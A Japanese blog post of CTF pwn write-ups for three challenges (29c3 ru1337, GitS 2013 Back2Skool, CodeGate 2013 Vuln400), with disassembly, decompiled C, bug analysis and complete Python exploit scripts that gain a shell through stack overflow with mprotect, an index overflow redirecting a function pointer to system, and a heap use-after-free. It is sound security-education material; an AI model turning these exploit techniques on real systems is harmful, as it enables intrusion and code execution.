h_nosonの日記

競プロ、CTFなど

pwn challenges list easy writeup その2

前回 h-noson.hatenablog.jp

[29c3 CTF 2012] Exploitation - ru1337

ELF 32-bit、動的リンク、NX有効。

% file ru1337
ru1337: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=59b5bc146bf69a72324760ec5ca74b4012bf8443, stripped
% checksec -f ru1337
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               3    ru1337

実行するには引数に適当なポート番号を渡してそのポートに接続する必要がある。

% sudo ./ru1337 1000
% nc localhost 1000
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: username
Password: password
u r not s0 1337zz!!!

実行するとユーザ名とパスワードが要求される。

 8048895:   a1 74 a0 04 08          mov    eax,ds:0x804a074
 804889a:   c7 44 24 0c 00 00 00    mov    DWORD PTR [esp+0xc],0x0
 80488a1:   00
 80488a2:   c7 44 24 08 2c 00 00    mov    DWORD PTR [esp+0x8],0x2c
 80488a9:   00
 80488aa:   8d 95 6c ff ff ff       lea    edx,[ebp-0x94]
 80488b0:   83 ea 80                sub    edx,0xffffff80           ; edx = ebp-0x14
 80488b3:   89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 80488b7:   89 04 24                mov    DWORD PTR [esp],eax
 80488ba:   e8 d1 fd ff ff          call   8048690 <recv@plt>
 80488bf:   c7 45 f4 00 00 00 00    mov    DWORD PTR [ebp-0xc],0x0
 80488c6:   eb 63                   jmp    804892b <send@plt+0x26b>
 80488c8:   8d 55 ec                lea    edx,[ebp-0x14]
 80488cb:   8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 80488ce:   01 d0                   add    eax,edx
 80488d0:   0f b6 00                movzx  eax,BYTE PTR [eax]
 80488d3:   84 c0                   test   al,al
 80488d5:   74 5a                   je     8048931 <send@plt+0x271>
 80488d7:   8d 55 ec                lea    edx,[ebp-0x14]
 80488da:   8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 80488dd:   01 d0                   add    eax,edx
 80488df:   0f b6 00                movzx  eax,BYTE PTR [eax]
 80488e2:   3c 0a                   cmp    al,0xa
 80488e4:   74 4b                   je     8048931 <send@plt+0x271>
 80488e6:   e8 c5 fd ff ff          call   80486b0 <__ctype_b_loc@plt>
 80488eb:   8b 00                   mov    eax,DWORD PTR [eax]
 80488ed:   8d 4d ec                lea    ecx,[ebp-0x14]
 80488f0:   8b 55 f4                mov    edx,DWORD PTR [ebp-0xc]
 80488f3:   01 ca                   add    edx,ecx
 80488f5:   0f b6 12                movzx  edx,BYTE PTR [edx]
 80488f8:   0f be d2                movsx  edx,dl
 80488fb:   01 d2                   add    edx,edx
 80488fd:   01 d0                   add    eax,edx
 80488ff:   0f b7 00                movzx  eax,WORD PTR [eax]
 8048902:   0f b7 c0                movzx  eax,ax
 8048905:   25 00 04 00 00          and    eax,0x400
 804890a:   85 c0                   test   eax,eax
 804890c:   75 19                   jne    8048927 <send@plt+0x267>   ; if (__ctype_b_log()[c*2]&0x400) jump;
 804890e:   a1 74 a0 04 08          mov    eax,ds:0x804a074
 8048913:   89 04 24                mov    DWORD PTR [esp],eax
 8048916:   e8 85 fd ff ff          call   80486a0 <close@plt>
 804891b:   c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 8048922:   e8 c9 fc ff ff          call   80485f0 <exit@plt>
 8048927:   83 45 f4 01             add    DWORD PTR [ebp-0xc],0x1
 804892b:   83 7d f4 07             cmp    DWORD PTR [ebp-0xc],0x7
 804892f:   7e 97                   jle    80488c8 <send@plt+0x208>

上のコードからユーザ名の先頭8文字はASCIIコードでないといけない(__ctype_b_loc()[c*2]&0x400でASCIIの判定ができると知ってちょっと感動した)。また、0x2c文字入力できるがebp-0x14から書き込んでいるためスタックバッファオーバーフローする→SSPが無効であるためROPができる。しかしROPで使える領域が少ないため、ここで使えそうな攻撃方法は少なくとも以下の2通り。

  1. recvでbss領域にROPを構成し、stack pivotによってespをbssに移す。そのROPではlibcのアドレスのリーク、system("/bin/sh")の呼び出しによりシェルを起動する。
  2. すでにmmapされた領域があり、そこにパスワードを書き込むため、mprotectでその領域を実行可能にしてシェルコードを実行する(つまりパスワードの部分にシェルコードを入力する)。retする前にdupを行ってくれているため、シェルコードの中でdupをする必要はない。

recvの引数が4つ必要だが、今回はそれに十分な領域がないため1.はうまくいかず2.をした。

#!/usr/bin/env python

from pwnlib import *

if __name__ == '__main__':
    s = Remote('localhost',1000)

    mprotect_plt = 0x8048580
    mmaped_addr = 0xbadc000

    payload = ''
    payload += 'A' * 24
    payload += p32(mprotect_plt)
    payload += p32(mmaped_addr + 0x8)
    payload += p32(mmaped_addr) + p32(0x100) + p32(0x7)
    s.send(payload)
    s.send(get_shellcode('lin32'))
    s.interact()

[ksnctf] #23 Villager B

常設なのでwriteupは書きません。

[Gits CTF 2013] Q10 - Back2Skool

ELF 32-bit、動的リンク、PIE以外有効。

% file back2skool-3fbcd46db37c50ad52675294f566790c777b9d1f
back2skool-3fbcd46db37c50ad52675294f566790c777b9d1f: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=11bb5ef1093d67ff93fcba5ada4b692fe95aeec7, stripped
% checksec -f back2skool-3fbcd46db37c50ad52675294f566790c777b9d1f
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               3    back2skool-3fbcd46db37c50ad52675294f566790c777b9d1f

back2skoolというユーザを作成してから実行して、localhost:31337に接続する。

% nc localhost 31337
    __  ___      __  __   _____
   /  |/  /___ _/ /_/ /_ / ___/___  ______   __ v0.01
  / /|_/ / __ `/ __/ __ \\__ \/ _ \/ ___/ | / /
 / /  / / /_/ / /_/ / / /__/ /  __/ /   | |/ /
/_/  /_/\__,_/\__/_/ /_/____/\___/_/    |___/
===============================================
Welcome to MathServ! The one-stop shop for all your arithmetic needs.
This program was written by a team of fresh CS graduates using only the most
agile of spiraling waterfall development methods, so rest assured there are
no bugs here!

Your current workspace is comprised of a 10-element table initialized as:
{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 }

Commands:
        read    Read value from given index in table
        write   Write value to given index in table
        func1   Change operation to addition
        func2   Change operation to multiplication
        math    Perform math operation on table
        exit    Quit and disconnect

コマンドが6つあり、それぞれ

  • read: 0~9のインデックスを指定して配列の要素を読む(入力が0~9であるか判定を行っていないため、任意のアドレスの値を読むことができる。これでlibc baseを取得)
  • write: 0~9のインデックスを指定して配列の要素に書き込む(9以下であるか判定を行っている。)
  • func1: mathで使われる関数を配列の足し算をする関数に書き換える
  • func2: mathで使われる関数を配列の掛け算をする関数に書き換える
  • math: func1またはfunc2で書き込まれた関数を実行する(関数のポインタはread,writeで使う配列よりも大きなアドレスに位置している。なので単純にwriteで書き込むことはできない。また、関数の引数は配列の先頭)
  • exit: プログラムを終了する

方針としてはmathをsystemに書き換えて、配列に"/bin/sh"を書き込み、シェルを起動したい。
ここでwriteのアセンブリコードを見てみる。

0804918e <math_write@@Base>:
 804918e:   55                      push   ebp
 804918f:   89 e5                   mov    ebp,esp
 8049191:   53                      push   ebx
 8049192:   83 ec 44                sub    esp,0x44
 ...
 80491e3:   8d 55 e0                lea    edx,[ebp-0x20]
 80491e6:   89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 80491ea:   89 04 24                mov    DWORD PTR [esp],eax
 80491ed:   e8 d6 fd ff ff          call   8048fc8 <read_string>
 80491f2:   8d 45 e0                lea    eax,[ebp-0x20]
 80491f5:   89 04 24                mov    DWORD PTR [esp],eax
 80491f8:   e8 63 f7 ff ff          call   8048960 <atoi@plt>
 80491fd:   89 45 d8                mov    DWORD PTR [ebp-0x28],eax
 8049200:   83 7d d8 09             cmp    DWORD PTR [ebp-0x28],0x9
 8049204:   7e 1f                   jle    8049225 <math_write@@Base+0x97>  <--  if (index <= 9)
 /*   print error and return   */
 ...
 8049257:   8d 55 e0                lea    edx,[ebp-0x20]
 804925a:   89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 804925e:   89 04 24                mov    DWORD PTR [esp],eax
 8049261:   e8 62 fd ff ff          call   8048fc8 <read_string>
 8049266:   8d 45 e0                lea    eax,[ebp-0x20]
 8049269:   89 04 24                mov    DWORD PTR [esp],eax
 804926c:   e8 ef f6 ff ff          call   8048960 <atoi@plt>
 8049271:   89 45 dc                mov    DWORD PTR [ebp-0x24],eax
 8049274:   8b 83 84 00 00 00       mov    eax,DWORD PTR [ebx+0x84]
 804927a:   8b 55 d8                mov    edx,DWORD PTR [ebp-0x28]
 804927d:   8b 4d dc                mov    ecx,DWORD PTR [ebp-0x24]
 8049280:   89 0c 90                mov    DWORD PTR [eax+edx*4],ecx        <--  *(int *)(list_addr + 4 * index) = input
 ...
 80492c8:   5b                      pop    ebx
 80492c9:   5d                      pop    ebp
 80492ca:   c3                      ret

重要なのは矢印で示した部分。始めにindexが9以下かどうかを判定して、そうでなければreturnする。次にindexに4を掛けて配列のアドレスに足し、そのアドレスに入力した数値を格納している。mathで使う関数ポインタは配列よりも大きなアドレスに位置しているため(具体的には、配列が0x804c040で関数ポインタが0x804c078)、ここでmathを書き換えるならば、indexを負の値にしてチェックを抜けながらも書き込む際は9よりも大きなindexになっていなければならない。それは可能で、indexを4倍するとオーバーフローするような負の値にするとうまくいく。
これでmathをsystemに書き換えることができるので、後は"/bin/sh"(今回はfork-server型なので"/bin/sh <&4 >&4")を数値に直しながら配列に入れる。

#!/usr/bin/env python
from pwnlib import *

def read(index):
    s.sendline('read')
    s.sendline(str(index))
    s.recvuntil('Value at position %d: ' % index)

def write(index,data):
    s.sendline('write')
    s.sendline(str(index))
    s.sendline(str(data))

if __name__ == '__main__':
    s = Remote('localhost',31337)

    read_got = 0x804bf68
    read_offset = 0xd4350
    system_offset = 0x3a940
    values_addr = 0x804c040
    math_addr = 0x804c078

    read((read_got - values_addr) // 4)
    libc_base = int(s.recvline()) + (1<<32) - read_offset
    print '[*] libc base: %#x' % libc_base

    write((math_addr - values_addr) // 4 + (1<<31) - (1<<32),libc_base + system_offset - (1<<32))

    cmd = '/bin/sh <&4 >&4'
    for i in range(0,len(cmd),4):
        write(i//4,u32(cmd[i:i+4]))
        s.recvuntil('position %d: ' % (i // 4))
        s.recvline()

    s.sendline('math')
    s.interact()
% ./exploit.py
[*] libc base: 0xf7543000
[*] Switching to interactive mode

$ id
uid=1002(back2skool) gid=1002(back2skool) groups=1002(back2skool)
$

[CodeGate 2013] Vuln400

ELF 32-bit、動的リンク、SSPとNX有効。

% file 7b80d4d56c282a310297336752c589b7
7b80d4d56c282a310297336752c589b7: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=df1400ff3d8b9c6d5b3572fbe3763dc28756ac70, stripped
% checksec -f 7b80d4d56c282a310297336752c589b7
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               4    7b80d4d56c282a310297336752c589b7

実行すると何秒か待たされるので、バイナリエディタを使うなどしてsleepの時間を0に変えておく。

% ./7b80d4d56c282a310297336752c589b7
 _______________________________
/==============================/
|     Onetime Board Console    |
/------------------------------/
|          | WELCOME |         |
|__________|_________|_________|
|          W  a  i   t         |
++++++++++++++++++++++++++++++++
1. Write
2. Read
3. Exit
=> 1
Author : h_noson
Title : Vuln400
Content : ELF 32-bit...
1. Write
2. Read
3. Exit
=> 2
        | number| author               | title
        -----------------------------------------------
        |     1 | h_noson              | Vuln400
        -----------------------------------------------
        Number : 1
                ===================================
                || 1 || h_noson              || Vuln400
                ===================================
                |content | ELF 32-bit...
                ===================================
                        |
                        |====> Welcome, It's Auto reply system

                1. delete  2. modify  3. reply  4. back
                => 3
                Reply : hoge

                1. delete  2. modify  3. reply  4. back
                => 2
Author : h_noson
Title : Vuln800

                1. delete  2. modify  3. reply  4. back
                => 1
Cannot Deleted. There's at least one or more replies on it

                1. delete  2. modify  3. reply  4. back
                => 4

ノートを作って、それに対するコメントも行えるプログラム。ノートは6つまで作成可能であり、ノート作成後は削除、AuthorとTitleの編集、コメントが行える。削除しようとするとコメントが一件以上あるので削除できないと言われるが、自動的に一件コメントがついているのでこのままでは削除できない。freeができないとどうしようもないと思うので、freeをする方法を考えながらデコンパイルする。デコンパイル結果がこちら
main.c · GitHub

ノートとコメントそれぞれの構造体を使っていて、データはリストで繋がっている。

struct reply_t {
    int zero;
    int deebface;
    int number;
    char *msg;
    void (*func1)(struct reply_t *);
    void (*func2)(char *);
    struct reply_t *next;
};

struct note_t {
    unsigned char replies;
    struct note_t *next;
    struct note_t *prev;
    void (*func1)(struct note_t *);
    void (*func2)(struct note_t *);
    struct reply_t *reply;
    int number;
    char *author;
    char *title;
    char *content;
    int deadbeef;
};
  • reply_t: 単方向リストで、コメントの文字列へのポインタと関数ポインタ2つが含まれている
  • note_t: 双方向リストで、コメント数、著者・タイトル・本文の文字列へのポインタとコメントへのポインタ、関数ポインタ2つが含まれている

このコードには細かいバグはたくさんあるのですが、攻撃に使えるものは3つ。
1つ目は、コメント数(replies)がunsigned charで宣言されていること。コメントを256個作成すればオーバーフローしてコメント数を0にすることができる。これによってfreeが可能になる。
2つ目は、reply_tの関数ポインタが初期化されていないこと。freeする直前に、ある条件で関数ポインタをfreeに書き換えているため、用意しておいた領域にうまく割り当てを誘導しその条件を満たさなければ任意の関数を実行できる。今回systemがpltにあるのでそれを使える。

void delete(note_t *note) {
    if (note->replies != 0) {
        puts("Cannot Deleted. There's at least one or more replies on it");
        return;
    }
    note->prev->next = note->next;
    note->next->prev = note->prev;
    if (note->deadbeef == 0xdeadbeef) {
        reply_t *reply = note->reply;
        while (reply->next != NULL) {
            reply->func1 = babeface;
            reply->func2 = _free;
            reply = reply->next;
        }
    }
    note->func2(note);
}

note->deadbeefが0xdeadbeefであれば関数ポインタを書き換えるが、modifyをする際にnote->deadbeefも書き換わるのでそれによって関数ポインタを上書きされることを回避できる。

void modify(note_t *note) {
    memset(note->author,0,0xfa);
    memset(note->title,0,0xfa);
    scanf("%c",&_select);
    printf("Author : ");
    fgets(note->author,0xfa,stdin);
    note->author[strlen(note->author)-1] = '\0';
    printf("Title : ");
    fgets(note->title,0xfa,stdin);
    note->title[strlen(note->title)-1] = '\0';
    note->deadbeef = 0xc0deacbe;
}

また、ノートを作成してる部分を見るとcontentは入力した文字列の長さだけ領域を確保している。

void write_note(note_t *note) {
    char c;
    char content[0x2000];
    scanf("%c",&c);
    printf("Author : ");
    fgets(note->author,0xfa,stdin);
    note->author[strlen(note->author)-1] = '\0';
    printf("Title : ");
    fgets(note->title,0xfa,stdin);
    note->title[strlen(note->title)-1] = '\0';
    printf("Content : ");
    fgets(content,0x1f40,stdin);
    note->content = malloc(strlen(content));
    memcpy(note->content,content,strlen(content));
    note->content[strlen(note->content)-1] = '\0';
}

ノートの削除でこの領域もfreeするため、確保する領域をreply_tと同じ大きさにして、reply_tの領域を確保しようとしたときにfreeしたcontentの領域が返るようにすれば、関数ポインタを任意の関数に設定できる。

3つ目のバグは関数ポインタのチェックを先頭2つしかしていないこと。

void delete_note(note_t *note) {
    reply_t *reply = note->reply;
    for (int i = 0; i <= 1; i++) {
        if (reply->func2 != _free) {
            puts("Detected");
            exit(1);
        }
        reply = reply->next;
    }
    while (reply->next != NULL) {
        reply->func2(reply->msg);
        reply = reply->next;
    }
    free(note->author);
    free(note->title);
    free(note->content);
    free(note);
}

func2がfreeであるかを先頭2つだけチェックしているので、先頭2つはfreeを設定して、3つ目にsystemを設定すればうまくいく。

#!/usr/bin/env python
from pwnlib import *

def write(author,title,content):
    s.recvuntil('=> ')
    s.sendline('1')
    s.recvuntil('Author : ')
    s.sendline(author)
    s.recvuntil('Title : ')
    s.sendline(title)
    s.recvuntil('Content : ')
    s.sendline(content)

def enter(num):
    s.recvuntil('=> ')
    s.sendline('2')
    s.recvuntil('Number : ')
    s.sendline(str(num))

def select(num):
    s.recvuntil('\t=> ')
    s.sendline(str(num))

def delete():
    select(1)

def modify(author,title):
    select(2)
    s.recvuntil('Author : ')
    s.sendline(author)
    s.recvuntil('Title : ')
    s.sendline(title)

def reply(msg):
    select(3)
    s.recvuntil('Reply : ')
    s.sendline(msg)

def back():
    select(4)
    select(4)

def back2():
    select(4)

if __name__ == '__main__':
    s = Local(['./7b80d4d56c282a310297336752c589b7'], env = {'TERM': 'xterm'})

    system_plt = 0x8048630
    free_addr = 0x80487c4

    write('A','A','A')
    write('B','B','B' * 0x14 + p32(system_plt))
    write('C','C','C' * 0x14 + p32(free_addr))
    write('D','D','D' * 0x14 + p32(free_addr))
    write('E','E','E')
    for i in range(2,5):
        enter(i)
        for j in range(0xff):
            reply('A')
        back() if i < 4 else back2()
    for i in range(2,5):
        enter(i)
        delete()
        back() if i < 4 else back2()
    write('F','F','F' * 0x100)
    enter(6)
    reply('A')
    reply('/bin/sh')
    for i in range(0xfd):
        reply('A')
    modify('A','A')
    back2()
    write('G','G','G')
    enter(6)
    delete()
    s.interact()
% ./exploit.py
[*] Switching to interactive mode

$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
$

続き

h-noson.hatenablog.jp